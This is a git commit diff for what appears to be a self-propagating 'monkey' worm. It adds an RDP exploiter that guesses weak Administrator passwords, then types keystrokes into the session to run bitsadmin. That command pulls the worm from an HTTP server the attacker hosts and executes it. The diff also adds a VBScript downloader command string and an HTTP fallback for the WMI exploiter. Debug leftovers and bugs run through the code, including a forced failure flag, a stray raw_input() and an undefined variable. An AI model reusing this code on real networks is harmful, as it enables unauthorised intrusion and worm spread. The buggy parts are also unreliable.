forked from p15670423/monkey
- rdp exploitation
- http file transfer - ftp server code for future support
This commit is contained in:
parent
120d259b65
commit
01bc17f80c
|
@ -1,2 +1 @@
|
||||||
c:\Python27\python -m PyInstaller.main --name monkey -F -y --clean -i monkey.ico main.py
|
c:\Python27\python -m PyInstaller.main --name monkey -F -y --clean -i monkey.ico main.py
|
||||||
move /Y dist\monkey.exe "%allusersprofile%\desktop\monkey.exe"
|
|
||||||
|
|
|
@ -3,7 +3,7 @@ import os
|
||||||
import sys
|
import sys
|
||||||
import ntpath
|
import ntpath
|
||||||
from network.range import ClassCRange, RelativeRange, FixedRange
|
from network.range import ClassCRange, RelativeRange, FixedRange
|
||||||
from exploit import WmiExploiter, Ms08_067_Exploiter, SmbExploiter
|
from exploit import WmiExploiter, Ms08_067_Exploiter, SmbExploiter, RdpExploiter
|
||||||
from network import TcpScanner, PingScanner
|
from network import TcpScanner, PingScanner
|
||||||
|
|
||||||
__author__ = 'itamar'
|
__author__ = 'itamar'
|
||||||
|
@ -39,7 +39,7 @@ class WormConfiguration(object):
|
||||||
max_iterations = 2
|
max_iterations = 2
|
||||||
|
|
||||||
scanner_class = TcpScanner
|
scanner_class = TcpScanner
|
||||||
exploiter_classes = WmiExploiter, SmbExploiter, Ms08_067_Exploiter
|
exploiter_classes = (RdpExploiter, )
|
||||||
|
|
||||||
# how many victims to look for in a single scan iteration
|
# how many victims to look for in a single scan iteration
|
||||||
victims_max_find = 14
|
victims_max_find = 14
|
||||||
|
@ -57,9 +57,7 @@ class WormConfiguration(object):
|
||||||
#range_class = RelativeRange
|
#range_class = RelativeRange
|
||||||
#range_size = 8
|
#range_size = 8
|
||||||
range_class = FixedRange
|
range_class = FixedRange
|
||||||
range_fixed = ("192.168.122.15", "192.168.122.17", "192.168.122.14", "192.168.122.9",
|
range_fixed = ("10.15.1.94", )
|
||||||
"192.168.144.8", "192.168.144.11", "192.168.144.12",
|
|
||||||
"192.168.166.10", "192.168.166.12", "192.168.166.11")
|
|
||||||
|
|
||||||
# TCP Scanner
|
# TCP Scanner
|
||||||
tcp_target_ports = [445, 135]
|
tcp_target_ports = [445, 135]
|
||||||
|
@ -81,4 +79,4 @@ class WormConfiguration(object):
|
||||||
|
|
||||||
# psexec exploiter
|
# psexec exploiter
|
||||||
psexec_user = "Administrator"
|
psexec_user = "Administrator"
|
||||||
psexec_passwords = ["1234", "password", "Password1!", "password", "12345678"]
|
psexec_passwords = ["Password1!", "1234", "password", "password", "12345678"]
|
||||||
|
|
|
@ -12,4 +12,5 @@ class HostExploiter(object):
|
||||||
|
|
||||||
from win_ms08_067 import Ms08_067_Exploiter
|
from win_ms08_067 import Ms08_067_Exploiter
|
||||||
from wmiexec import WmiExploiter
|
from wmiexec import WmiExploiter
|
||||||
from smbexec import SmbExploiter
|
from smbexec import SmbExploiter
|
||||||
|
from rdpgrinder import RdpExploiter
|
|
@ -1,53 +1,166 @@
|
||||||
|
import time
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
import socket
|
import socket
|
||||||
|
import threading
|
||||||
|
import cffi
|
||||||
|
import os.path
|
||||||
|
import twisted.python.log
|
||||||
|
import rdpy.core.log as rdpy_log
|
||||||
from rdpy.protocol.rdp import rdp
|
from rdpy.protocol.rdp import rdp
|
||||||
from twisted.internet import reactor
|
from twisted.internet import reactor
|
||||||
|
from rdpy.core.error import RDPSecurityNegoFail
|
||||||
|
from logging import getLogger
|
||||||
|
from exploit import HostExploiter
|
||||||
|
from exploit.tools import HTTPTools
|
||||||
|
from model import RDP_CMDLINE_HTTP_BITS
|
||||||
|
from model.host import VictimHost
|
||||||
|
__author__ = 'hoffer'
|
||||||
|
|
||||||
__author__ = 'itamar'
|
KEYS_INTERVAL = 0.1
|
||||||
|
MAX_WAIT_FOR_UPDATE = 120
|
||||||
|
KEYS_SENDER_SLEEP = 0.01
|
||||||
|
DOWNLOAD_TIMEOUT = 60
|
||||||
|
LOG = getLogger(__name__)
|
||||||
|
|
||||||
class RDPClient(rdp.RDPClientObserver):
|
def twisted_log_func(*message, **kw):
|
||||||
def __init__(self, controller, width, height):
|
if kw.has_key('isError') and kw['isError']:
|
||||||
super(RDPClient, self).__init__(controller)
|
error_msg = 'Unknown'
|
||||||
|
if kw.has_key('failure'):
|
||||||
|
error_msg = kw['failure'].getErrorMessage()
|
||||||
|
LOG.error("Error from twisted library: %s" % (error_msg,))
|
||||||
|
else:
|
||||||
|
LOG.debug("Message from twisted library: %s" % (str(message),))
|
||||||
|
|
||||||
|
def rdpy_log_func(message):
|
||||||
|
LOG.debug("Message from rdpy library: %s" % (message,))
|
||||||
|
|
||||||
|
twisted.python.log.msg = twisted_log_func
|
||||||
|
rdpy_log._LOG_LEVEL = rdpy_log.Level.ERROR
|
||||||
|
rdpy_log.log = rdpy_log_func
|
||||||
|
|
||||||
|
# thread for twisted reactor, create once.
|
||||||
|
global g_reactor
|
||||||
|
g_reactor = threading.Thread(target=reactor.run, args=(False,))
|
||||||
|
|
||||||
|
class ScanCodeEvent(object):
|
||||||
|
def __init__(self, code, is_pressed=False, is_special=False):
|
||||||
|
self.code = code
|
||||||
|
self.is_pressed = is_pressed
|
||||||
|
self.is_special = is_special
|
||||||
|
|
||||||
|
class CharEvent(object):
|
||||||
|
def __init__(self, char, is_pressed=False):
|
||||||
|
self.char = char
|
||||||
|
self.is_pressed = is_pressed
|
||||||
|
|
||||||
|
class SleepEvent(object):
|
||||||
|
def __init__(self, interval):
|
||||||
|
self.interval= interval
|
||||||
|
|
||||||
|
class WaitUpdateEvent(object):
|
||||||
|
def __init__(self, updates=1):
|
||||||
|
self.updates = updates
|
||||||
|
pass
|
||||||
|
|
||||||
|
def str_to_keys(orig_str):
|
||||||
|
result = []
|
||||||
|
for c in orig_str:
|
||||||
|
result.append(CharEvent(c,True))
|
||||||
|
result.append(CharEvent(c,False))
|
||||||
|
result.append(WaitUpdateEvent())
|
||||||
|
return result
|
||||||
|
|
||||||
|
class KeyPressRDPClient(rdp.RDPClientObserver):
|
||||||
|
def __init__(self, controller, keys, width, height, addr):
|
||||||
|
super(KeyPressRDPClient, self).__init__(controller)
|
||||||
|
self._keys = keys
|
||||||
|
self._addr = addr
|
||||||
|
self._update_lock = threading.Lock()
|
||||||
|
self._wait_update = False
|
||||||
|
self._keys_thread = threading.Thread(target=self._keysSender)
|
||||||
|
self._keys_thread.daemon = True
|
||||||
self._width = width
|
self._width = width
|
||||||
self._height = height
|
self._height = height
|
||||||
|
self._last_update = 0
|
||||||
|
self.closed = False
|
||||||
|
self.success = False
|
||||||
|
|
||||||
def onUpdate(self, destLeft, destTop, destRight, destBottom, width, height, bitsPerPixel, isCompress, data):
|
def onUpdate(self, destLeft, destTop, destRight, destBottom, width, height, bitsPerPixel, isCompress, data):
|
||||||
print "onUpdate", destLeft, destTop, destRight, destBottom, width, height, bitsPerPixel, isCompress, len(data)
|
update_time = time.time()
|
||||||
|
self._update_lock.acquire()
|
||||||
|
self._last_update = update_time
|
||||||
|
self._wait_for_update = False
|
||||||
|
self._update_lock.release()
|
||||||
|
|
||||||
|
def _keysSender(self):
|
||||||
|
while True:
|
||||||
|
|
||||||
|
if self.closed:
|
||||||
|
return
|
||||||
|
|
||||||
|
if len(self._keys) == 0:
|
||||||
|
reactor.callFromThread(self._controller.close)
|
||||||
|
LOG.debug("Closing RDP connection to %s:%s", self._addr.host, self._addr.port)
|
||||||
|
return
|
||||||
|
|
||||||
|
key = self._keys[0]
|
||||||
|
|
||||||
|
self._update_lock.acquire()
|
||||||
|
time_diff = time.time() - self._last_update
|
||||||
|
if type(key) is WaitUpdateEvent:
|
||||||
|
self._wait_for_update = True
|
||||||
|
self._update_lock.release()
|
||||||
|
key.updates -= 1
|
||||||
|
if key.updates == 0:
|
||||||
|
self._keys = self._keys[1:]
|
||||||
|
elif time_diff > KEYS_INTERVAL and (not self._wait_for_update or time_diff > MAX_WAIT_FOR_UPDATE):
|
||||||
|
self._wait_for_update = False
|
||||||
|
self._update_lock.release()
|
||||||
|
if type(key) is ScanCodeEvent:
|
||||||
|
reactor.callFromThread(self._controller.sendKeyEventScancode, key.code, key.is_pressed, key.is_special)
|
||||||
|
elif type(key) is CharEvent:
|
||||||
|
reactor.callFromThread(self._controller.sendKeyEventUnicode, ord(key.char), key.is_pressed)
|
||||||
|
elif type(key) is SleepEvent:
|
||||||
|
time.sleep(key.interval)
|
||||||
|
|
||||||
|
self._keys = self._keys[1:]
|
||||||
|
else:
|
||||||
|
self._update_lock.release()
|
||||||
|
time.sleep(KEYS_SENDER_SLEEP)
|
||||||
|
|
||||||
|
|
||||||
def onReady(self):
|
def onReady(self):
|
||||||
"""
|
pass
|
||||||
@summary: Call when stack is ready
|
|
||||||
"""
|
|
||||||
print "onReady"
|
|
||||||
|
|
||||||
def onClose(self):
|
def onClose(self):
|
||||||
"""
|
self.success = len(self._keys) == 0
|
||||||
@summary: Call when stack is close
|
self.closed = True
|
||||||
"""
|
|
||||||
print "onClose"
|
|
||||||
|
|
||||||
def closeEvent(self, e):
|
def onSessionReady(self):
|
||||||
print "closeEvent", e
|
self._last_update = time.time()
|
||||||
|
self._keys_thread.start()
|
||||||
|
|
||||||
|
|
||||||
class RDPClientFactory(rdp.ClientFactory):
|
class CMDClientFactory(rdp.ClientFactory):
|
||||||
def __init__(self):
|
def __init__(self, username, password="", domain="", command="", optimized=False, width=666, height=359):
|
||||||
self._username = "Administrator"
|
self._username = username
|
||||||
self._password = "Password1!"
|
self._password = password
|
||||||
self._domain = ""
|
self._domain = domain
|
||||||
self._keyboard_layout = "en"
|
self._keyboard_layout = "en"
|
||||||
self._optimized = False
|
# key sequence: WINKEY+R,cmd /v,Enter,<command>&exit,Enter
|
||||||
self._security = "rdp" # "ssl"
|
self._keys = [ScanCodeEvent(91,True,True),
|
||||||
|
ScanCodeEvent(19,True),
|
||||||
self._width = 200
|
ScanCodeEvent(19,False),
|
||||||
self._height = 200
|
ScanCodeEvent(91,False,True), WaitUpdateEvent()] + str_to_keys("cmd /v") + [WaitUpdateEvent(), ScanCodeEvent(28,True),
|
||||||
|
ScanCodeEvent(28,False), WaitUpdateEvent()] + str_to_keys(command+"&exit") + [WaitUpdateEvent(), ScanCodeEvent(28,True),
|
||||||
def __repr__(self):
|
ScanCodeEvent(28,False), WaitUpdateEvent()]
|
||||||
return "<RDPClientFactory %dx%d>" % (self._width, self._height)
|
self._optimized = optimized
|
||||||
|
self._security = rdp.SecurityLevel.RDP_LEVEL_NLA
|
||||||
|
self._nego = True
|
||||||
|
self._client = None
|
||||||
|
self._width = width
|
||||||
|
self._height = height
|
||||||
|
self.done_event = threading.Event()
|
||||||
|
self.success = False
|
||||||
|
|
||||||
def buildObserver(self, controller, addr):
|
def buildObserver(self, controller, addr):
|
||||||
"""
|
"""
|
||||||
|
@ -59,19 +172,101 @@ class RDPClientFactory(rdp.ClientFactory):
|
||||||
"""
|
"""
|
||||||
|
|
||||||
#create client observer
|
#create client observer
|
||||||
self._client = RDPClient(controller, self._width, self._height)
|
self._client = KeyPressRDPClient(controller, self._keys, self._width, self._height, addr)
|
||||||
|
|
||||||
controller.setUsername(self._username)
|
controller.setUsername(self._username)
|
||||||
controller.setPassword(self._password)
|
controller.setPassword(self._password)
|
||||||
controller.setDomain(self._domain)
|
controller.setDomain(self._domain)
|
||||||
controller.setKeyboardLayout(self._keyboard_layout)
|
controller.setKeyboardLayout(self._keyboard_layout)
|
||||||
controller.setHostname(socket.gethostname())
|
controller.setHostname(addr.host)
|
||||||
if self._optimized:
|
if self._optimized:
|
||||||
controller.setPerformanceSession()
|
controller.setPerformanceSession()
|
||||||
controller.setSecurityLevel(self._security)
|
controller.setSecurityLevel(self._security)
|
||||||
|
|
||||||
return self._client
|
return self._client
|
||||||
|
|
||||||
|
def clientConnectionLost(self, connector, reason):
|
||||||
|
#try reconnect with basic RDP security
|
||||||
|
if reason.type == RDPSecurityNegoFail and self._nego:
|
||||||
|
LOG.debug("RDP Security negotiate failed on %s:%s, starting retry with basic security" % (connector.host, connector.port))
|
||||||
|
#stop nego
|
||||||
|
self._nego = False
|
||||||
|
self._security = rdp.SecurityLevel.RDP_LEVEL_RDP
|
||||||
|
connector.connect()
|
||||||
|
return
|
||||||
|
|
||||||
reactor.connectTCP("10.0.0.1", 3389, RDPClientFactory())
|
LOG.debug("RDP connection to %s:%s closed" % (connector.host, connector.port))
|
||||||
reactor.run()
|
self.success = self._client.success
|
||||||
|
self.done_event.set()
|
||||||
|
|
||||||
|
def clientConnectionFailed(self, connector, reason):
|
||||||
|
LOG.debug("RDP connection to %s:%s failed, with error: %s" % (connector.host, connector.port, reason.getErrorMessage()))
|
||||||
|
self.success = False
|
||||||
|
self.done_event.set()
|
||||||
|
|
||||||
|
class RdpExploiter(HostExploiter):
|
||||||
|
def __init__(self):
|
||||||
|
self._config = __import__('config').WormConfiguration
|
||||||
|
|
||||||
|
def exploit_host(self, host, src_path, port=3389):
|
||||||
|
global g_reactor
|
||||||
|
assert isinstance(host, VictimHost)
|
||||||
|
|
||||||
|
if not g_reactor.is_alive():
|
||||||
|
g_reactor.daemon = True
|
||||||
|
g_reactor.start()
|
||||||
|
|
||||||
|
# create server for http download.
|
||||||
|
http_path, http_thread = HTTPTools.create_transfer(host, src_path)
|
||||||
|
|
||||||
|
command = RDP_CMDLINE_HTTP_BITS % {'monkey_name': os.path.basename(src_path), 'http_path' : http_path}
|
||||||
|
|
||||||
|
passwords = list(self._config.psexec_passwords[:])
|
||||||
|
known_password = host.get_credentials(self._config.psexec_user)
|
||||||
|
if known_password is not None:
|
||||||
|
if known_password in passwords:
|
||||||
|
passwords.remove(known_password)
|
||||||
|
passwords.insert(0, known_password)
|
||||||
|
|
||||||
|
exploited = False
|
||||||
|
for password in passwords:
|
||||||
|
try:
|
||||||
|
# run command using rdp.
|
||||||
|
|
||||||
|
LOG.info("Trying rdp logging into victim %r with user"
|
||||||
|
" %s and password '%s'", host,
|
||||||
|
self._config.psexec_user, password)
|
||||||
|
|
||||||
|
client_factory = CMDClientFactory(self._config.psexec_user, password, "", command)
|
||||||
|
|
||||||
|
reactor.connectTCP(host.ip_addr, port, client_factory)
|
||||||
|
|
||||||
|
client_factory.done_event.wait()
|
||||||
|
|
||||||
|
if client_factory.success:
|
||||||
|
exploited = True
|
||||||
|
break
|
||||||
|
|
||||||
|
except Exception, exc:
|
||||||
|
LOG.debug("Error logging into victim %r with user"
|
||||||
|
" %s and password '%s': (%s)", host,
|
||||||
|
self._config.psexec_user, password, exc)
|
||||||
|
continue
|
||||||
|
|
||||||
|
http_thread.join(DOWNLOAD_TIMEOUT)
|
||||||
|
http_thread.stop()
|
||||||
|
|
||||||
|
if not exploited:
|
||||||
|
LOG.debug("Exploiter RdpGrinder failed, rdp failed.")
|
||||||
|
return False
|
||||||
|
elif http_thread.downloads == 0:
|
||||||
|
LOG.info("Trying rdp logging into victim %r with user"
|
||||||
|
" %s and password '%s'", host,
|
||||||
|
self._config.psexec_user, password)
|
||||||
|
LOG.debug("Exploiter RdpGrinder failed, http download failed.")
|
||||||
|
return False
|
||||||
|
|
||||||
|
LOG.info("Executed monkey '%s' on remote victim %r",
|
||||||
|
os.path.basename(src_path), host)
|
||||||
|
|
||||||
|
return True
|
|
@ -3,6 +3,11 @@ import os
|
||||||
import ntpath
|
import ntpath
|
||||||
import pprint
|
import pprint
|
||||||
import logging
|
import logging
|
||||||
|
import os.path
|
||||||
|
import socket
|
||||||
|
import urllib
|
||||||
|
from difflib import get_close_matches
|
||||||
|
from transport import HTTPServer
|
||||||
from impacket.dcerpc.v5 import transport, srvs
|
from impacket.dcerpc.v5 import transport, srvs
|
||||||
from impacket.dcerpc.v5.dcom.wmi import DCERPCSessionError
|
from impacket.dcerpc.v5.dcom.wmi import DCERPCSessionError
|
||||||
from impacket.smbconnection import SMBConnection, SMB_DIALECT
|
from impacket.smbconnection import SMBConnection, SMB_DIALECT
|
||||||
|
@ -16,7 +21,6 @@ __author__ = 'itamar'
|
||||||
|
|
||||||
LOG = logging.getLogger(__name__)
|
LOG = logging.getLogger(__name__)
|
||||||
|
|
||||||
|
|
||||||
class AccessDeniedException(Exception):
|
class AccessDeniedException(Exception):
|
||||||
def __init__(self, host, username, password, domain):
|
def __init__(self, host, username, password, domain):
|
||||||
super(AccessDeniedException, self).__init__("Access is denied to %r with username %s\\%s and password %r" %
|
super(AccessDeniedException, self).__init__("Access is denied to %r with username %s\\%s and password %r" %
|
||||||
|
@ -342,3 +346,17 @@ class SmbTools(object):
|
||||||
dce.bind(srvs.MSRPC_UUID_SRVS)
|
dce.bind(srvs.MSRPC_UUID_SRVS)
|
||||||
|
|
||||||
return dce
|
return dce
|
||||||
|
|
||||||
|
|
||||||
|
class HTTPTools(object):
|
||||||
|
@staticmethod
|
||||||
|
def create_transfer(host, src_path, local_ip=None, local_port=4444):
|
||||||
|
if None == local_ip:
|
||||||
|
local_hostname = socket.gethostname()
|
||||||
|
local_ip = get_close_matches(host.ip_addr, socket.gethostbyname_ex(local_hostname)[2])[0]
|
||||||
|
|
||||||
|
httpd = HTTPServer(local_ip, local_port, src_path)
|
||||||
|
httpd.daemon = True
|
||||||
|
httpd.start()
|
||||||
|
|
||||||
|
return "http://%s:%s/%s" % (local_ip, local_port, urllib.quote(os.path.basename(src_path))), httpd
|
|
@ -3,10 +3,10 @@ import socket
|
||||||
import ntpath
|
import ntpath
|
||||||
import logging
|
import logging
|
||||||
import traceback
|
import traceback
|
||||||
from model import DROPPER_CMDLINE, MONKEY_CMDLINE
|
from model import DROPPER_CMDLINE, MONKEY_CMDLINE, MONKEY_CMDLINE_HTTP
|
||||||
from model.host import VictimHost
|
from model.host import VictimHost
|
||||||
from exploit import HostExploiter
|
from exploit import HostExploiter
|
||||||
from exploit.tools import SmbTools, WmiTools, AccessDeniedException
|
from exploit.tools import SmbTools, WmiTools, HTTPTools, AccessDeniedException
|
||||||
|
|
||||||
LOG = logging.getLogger(__name__)
|
LOG = logging.getLogger(__name__)
|
||||||
|
|
||||||
|
@ -60,19 +60,22 @@ class WmiExploiter(HostExploiter):
|
||||||
LOG.debug("Skipping %r - already infected", host)
|
LOG.debug("Skipping %r - already infected", host)
|
||||||
return False
|
return False
|
||||||
|
|
||||||
# copy the file remotely using SMB
|
#copy the file remotely using SMB
|
||||||
remote_full_path = SmbTools.copy_file(host,
|
remote_full_path = SmbTools.copy_file(host,
|
||||||
self._config.psexec_user,
|
self._config.psexec_user,
|
||||||
password,
|
password,
|
||||||
src_path,
|
src_path,
|
||||||
self._config.dropper_target_path)
|
self._config.dropper_target_path)
|
||||||
|
remote_full_path = False
|
||||||
|
|
||||||
if not remote_full_path:
|
if not remote_full_path:
|
||||||
wmi_connection.close()
|
remote_full_path = self._config.dropper_target_path
|
||||||
|
http_path = HTTPTools.create_transfer(host,
|
||||||
return False
|
src_path,
|
||||||
|
remote_full_path)
|
||||||
|
cmdline = MONKEY_CMDLINE_HTTP % {'http_path': http_path, 'monkey_path': remote_full_path}
|
||||||
# execute the remote dropper in case the path isn't final
|
# execute the remote dropper in case the path isn't final
|
||||||
if remote_full_path.lower() != self._config.dropper_target_path.lower():
|
elif remote_full_path.lower() != self._config.dropper_target_path.lower():
|
||||||
cmdline = DROPPER_CMDLINE % {'dropper_path': remote_full_path}
|
cmdline = DROPPER_CMDLINE % {'dropper_path': remote_full_path}
|
||||||
else:
|
else:
|
||||||
cmdline = MONKEY_CMDLINE % {'monkey_path': remote_full_path}
|
cmdline = MONKEY_CMDLINE % {'monkey_path': remote_full_path}
|
||||||
|
@ -86,6 +89,7 @@ class WmiExploiter(HostExploiter):
|
||||||
LOG.info("Executed dropper '%s' on remote victim %r (pid=%d, exit_code=%d, cmdline=%r)",
|
LOG.info("Executed dropper '%s' on remote victim %r (pid=%d, exit_code=%d, cmdline=%r)",
|
||||||
remote_full_path, host, result.ProcessId, result.ReturnValue, cmdline)
|
remote_full_path, host, result.ProcessId, result.ReturnValue, cmdline)
|
||||||
success = True
|
success = True
|
||||||
|
raw_input()
|
||||||
else:
|
else:
|
||||||
LOG.debug("Error executing dropper '%s' on remote victim %r (pid=%d, exit_code=%d, cmdline=%r)",
|
LOG.debug("Error executing dropper '%s' on remote victim %r (pid=%d, exit_code=%d, cmdline=%r)",
|
||||||
remote_full_path, host, result.ProcessId, result.ReturnValue, cmdline)
|
remote_full_path, host, result.ProcessId, result.ReturnValue, cmdline)
|
||||||
|
|
|
@ -6,5 +6,8 @@ DROPPER_CMDLINE = 'cmd /c %%(dropper_path)s %s' % (DROPPER_ARG, )
|
||||||
MONKEY_CMDLINE = 'cmd /c %%(monkey_path)s %s' % (MONKEY_ARG, )
|
MONKEY_CMDLINE = 'cmd /c %%(monkey_path)s %s' % (MONKEY_ARG, )
|
||||||
DROPPER_CMDLINE_DETACHED = 'cmd /c start cmd /c %%(dropper_path)s %s' % (DROPPER_ARG, )
|
DROPPER_CMDLINE_DETACHED = 'cmd /c start cmd /c %%(dropper_path)s %s' % (DROPPER_ARG, )
|
||||||
MONKEY_CMDLINE_DETACHED = 'cmd /c start cmd /c %%(monkey_path)s %s' % (MONKEY_ARG, )
|
MONKEY_CMDLINE_DETACHED = 'cmd /c start cmd /c %%(monkey_path)s %s' % (MONKEY_ARG, )
|
||||||
|
MONKEY_CMDLINE_HTTP = 'cmd.exe /c "bitsadmin /transfer Update /download /priority high %%(http_path)s %%(monkey_path)s&cmd /c %%(monkey_path)s %s"' % (MONKEY_ARG, )
|
||||||
|
RDP_CMDLINE_HTTP_BITS = 'bitsadmin /transfer Update /download /priority high %%(http_path)s !SystemRoot!\\%%(monkey_name)s&&start /b !SystemRoot!\\%%(monkey_name)s %s' % (MONKEY_ARG, )
|
||||||
|
RDP_CMDLINE_HTTP_VBS = 'set o=!TMP!\!RANDOM!.tmp&@echo Set objXMLHTTP=CreateObject("MSXML2.XMLHTTP")>!o!&@echo objXMLHTTP.open "GET","%%(http_path)s",false>>!o!&@echo objXMLHTTP.send()>>!o!&@echo If objXMLHTTP.Status=200 Then>>!o!&@echo Set objADOStream=CreateObject("ADODB.Stream")>>!o!&@echo objADOStream.Open>>!o!&@echo objADOStream.Type=1 >>!o!&@echo objADOStream.Write objXMLHTTP.ResponseBody>>!o!&@echo objADOStream.Position=0 >>!o!&@echo objADOStream.SaveToFile "!SystemRoot!\\%%(monkey_name)s">>!o!&@echo objADOStream.Close>>!o!&@echo Set objADOStream=Nothing>>!o!&@echo End if>>!o!&@echo Set objXMLHTTP=Nothing>>!o!&@echo Set objShell=CreateObject("WScript.Shell")>>!o!&@echo objShell.Exec("cmd /c !SystemRoot!\\%%(monkey_name)s %s")>>!o!&start /b cmd /c cscript.exe //E:vbscript !o!^&del /f /q !o!' % (MONKEY_ARG, )
|
||||||
|
|
||||||
from host import VictimHost
|
from host import VictimHost
|
|
@ -0,0 +1,5 @@
|
||||||
|
|
||||||
|
__author__ = 'hoffer'
|
||||||
|
|
||||||
|
from ftp import FTPServer
|
||||||
|
from http import HTTPServer
|
|
@ -0,0 +1,171 @@
|
||||||
|
import os,socket,threading,time
|
||||||
|
import StringIO
|
||||||
|
|
||||||
|
__author__ = 'hoffer'
|
||||||
|
|
||||||
|
class FTPServer(threading.Thread):
|
||||||
|
def __init__(self, local_ip, local_port, files):
|
||||||
|
self.files=files
|
||||||
|
self.cwd='/'
|
||||||
|
self.mode='I'
|
||||||
|
self.rest=False
|
||||||
|
self.pasv_mode=False
|
||||||
|
self.local_ip = local_ip
|
||||||
|
self.local_port = local_port
|
||||||
|
threading.Thread.__init__(self)
|
||||||
|
|
||||||
|
def run(self):
|
||||||
|
self.sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
|
||||||
|
self.sock.bind((self.local_ip,self.local_port))
|
||||||
|
self.sock.listen(1)
|
||||||
|
|
||||||
|
self.conn, self.addr = self.sock.accept()
|
||||||
|
|
||||||
|
self.conn.send('220 Welcome!\r\n')
|
||||||
|
while True:
|
||||||
|
if 0 == len(self.files):
|
||||||
|
break
|
||||||
|
cmd=self.conn.recv(256)
|
||||||
|
if not cmd: break
|
||||||
|
else:
|
||||||
|
try:
|
||||||
|
func=getattr(self,cmd[:4].strip().upper())
|
||||||
|
func(cmd)
|
||||||
|
except Exception,e:
|
||||||
|
self.conn.send('500 Sorry.\r\n')
|
||||||
|
break
|
||||||
|
|
||||||
|
self.conn.close()
|
||||||
|
self.sock.close()
|
||||||
|
|
||||||
|
def SYST(self,cmd):
|
||||||
|
self.conn.send('215 UNIX Type: L8\r\n')
|
||||||
|
def OPTS(self,cmd):
|
||||||
|
if cmd[5:-2].upper()=='UTF8 ON':
|
||||||
|
self.conn.send('200 OK.\r\n')
|
||||||
|
else:
|
||||||
|
self.conn.send('451 Sorry.\r\n')
|
||||||
|
def USER(self,cmd):
|
||||||
|
self.conn.send('331 OK.\r\n')
|
||||||
|
def PASS(self,cmd):
|
||||||
|
self.conn.send('230 OK.\r\n')
|
||||||
|
#self.conn.send('530 Incorrect.\r\n')
|
||||||
|
def QUIT(self,cmd):
|
||||||
|
self.conn.send('221 Goodbye.\r\n')
|
||||||
|
def NOOP(self,cmd):
|
||||||
|
self.conn.send('200 OK.\r\n')
|
||||||
|
def TYPE(self,cmd):
|
||||||
|
self.mode=cmd[5]
|
||||||
|
self.conn.send('200 Binary mode.\r\n')
|
||||||
|
|
||||||
|
def CDUP(self,cmd):
|
||||||
|
self.conn.send('200 OK.\r\n')
|
||||||
|
|
||||||
|
def PWD(self,cmd):
|
||||||
|
self.conn.send('257 \"%s\"\r\n' % self.cwd)
|
||||||
|
|
||||||
|
def CWD(self,cmd):
|
||||||
|
self.conn.send('250 OK.\r\n')
|
||||||
|
|
||||||
|
def PORT(self,cmd):
|
||||||
|
if self.pasv_mode:
|
||||||
|
self.servsock.close()
|
||||||
|
self.pasv_mode = False
|
||||||
|
l=cmd[5:].split(',')
|
||||||
|
self.dataAddr='.'.join(l[:4])
|
||||||
|
self.dataPort=(int(l[4])<<8)+int(l[5])
|
||||||
|
self.conn.send('200 Get port.\r\n')
|
||||||
|
|
||||||
|
def PASV(self,cmd):
|
||||||
|
self.pasv_mode = True
|
||||||
|
self.servsock = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
|
||||||
|
self.servsock.bind((local_ip,0))
|
||||||
|
self.servsock.listen(1)
|
||||||
|
ip, port = self.servsock.getsockname()
|
||||||
|
self.conn.send('227 Entering Passive Mode (%s,%u,%u).\r\n' %
|
||||||
|
(','.join(ip.split('.')), port>>8&0xFF, port&0xFF))
|
||||||
|
|
||||||
|
def start_datasock(self):
|
||||||
|
if self.pasv_mode:
|
||||||
|
self.datasock, addr = self.servsock.accept()
|
||||||
|
else:
|
||||||
|
self.datasock=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
|
||||||
|
self.datasock.connect((self.dataAddr,self.dataPort))
|
||||||
|
|
||||||
|
def stop_datasock(self):
|
||||||
|
self.datasock.close()
|
||||||
|
if self.pasv_mode:
|
||||||
|
self.servsock.close()
|
||||||
|
|
||||||
|
|
||||||
|
def LIST(self,cmd):
|
||||||
|
self.conn.send('150 Here comes the directory listing.\r\n')
|
||||||
|
self.start_datasock()
|
||||||
|
for fn in self.files.keys():
|
||||||
|
k=self.toListItem(fn)
|
||||||
|
self.datasock.send(k+'\r\n')
|
||||||
|
self.stop_datasock()
|
||||||
|
self.conn.send('226 Directory send OK.\r\n')
|
||||||
|
|
||||||
|
def toListItem(self,fn):
|
||||||
|
fullmode='rwxrwxrwx'
|
||||||
|
mode=''
|
||||||
|
d='-'
|
||||||
|
ftime=time.strftime(' %b %d %H:%M ', time.gmtime())
|
||||||
|
return d+fullmode+' 1 user group '+str(self.files[fn].tell())+ftime+fn
|
||||||
|
|
||||||
|
def MKD(self,cmd):
|
||||||
|
self.conn.send('257 Directory created.\r\n')
|
||||||
|
|
||||||
|
def RMD(self,cmd):
|
||||||
|
self.conn.send('450 Not allowed.\r\n')
|
||||||
|
|
||||||
|
def DELE(self,cmd):
|
||||||
|
self.conn.send('450 Not allowed.\r\n')
|
||||||
|
|
||||||
|
def SIZE(self,cmd):
|
||||||
|
self.conn.send('450 Not allowed.\r\n')
|
||||||
|
|
||||||
|
def RNFR(self,cmd):
|
||||||
|
self.conn.send('350 Ready.\r\n')
|
||||||
|
|
||||||
|
def RNTO(self,cmd):
|
||||||
|
self.conn.send('250 File renamed.\r\n')
|
||||||
|
|
||||||
|
def REST(self,cmd):
|
||||||
|
self.pos=int(cmd[5:-2])
|
||||||
|
self.rest=True
|
||||||
|
self.conn.send('250 File position reseted.\r\n')
|
||||||
|
|
||||||
|
def RETR(self,cmd):
|
||||||
|
fn = cmd[5:-2]
|
||||||
|
if self.mode=='I':
|
||||||
|
fi=self.files[fn]
|
||||||
|
else:
|
||||||
|
fi=self.files[fn]
|
||||||
|
self.conn.send('150 Opening data connection.\r\n')
|
||||||
|
if self.rest:
|
||||||
|
fi.seek(self.pos)
|
||||||
|
self.rest=False
|
||||||
|
data= fi.read(1024)
|
||||||
|
self.start_datasock()
|
||||||
|
while data:
|
||||||
|
self.datasock.send(data)
|
||||||
|
data=fi.read(1024)
|
||||||
|
fi.close()
|
||||||
|
del self.files[fn]
|
||||||
|
self.stop_datasock()
|
||||||
|
self.conn.send('226 Transfer complete.\r\n')
|
||||||
|
|
||||||
|
def STOR(self,cmd):
|
||||||
|
fn = cmd[5:-2]
|
||||||
|
fo = StringIO.StringIO()
|
||||||
|
self.conn.send('150 Opening data connection.\r\n')
|
||||||
|
self.start_datasock()
|
||||||
|
while True:
|
||||||
|
data=self.datasock.recv(1024)
|
||||||
|
if not data: break
|
||||||
|
fo.write(data)
|
||||||
|
fo.seek(0)
|
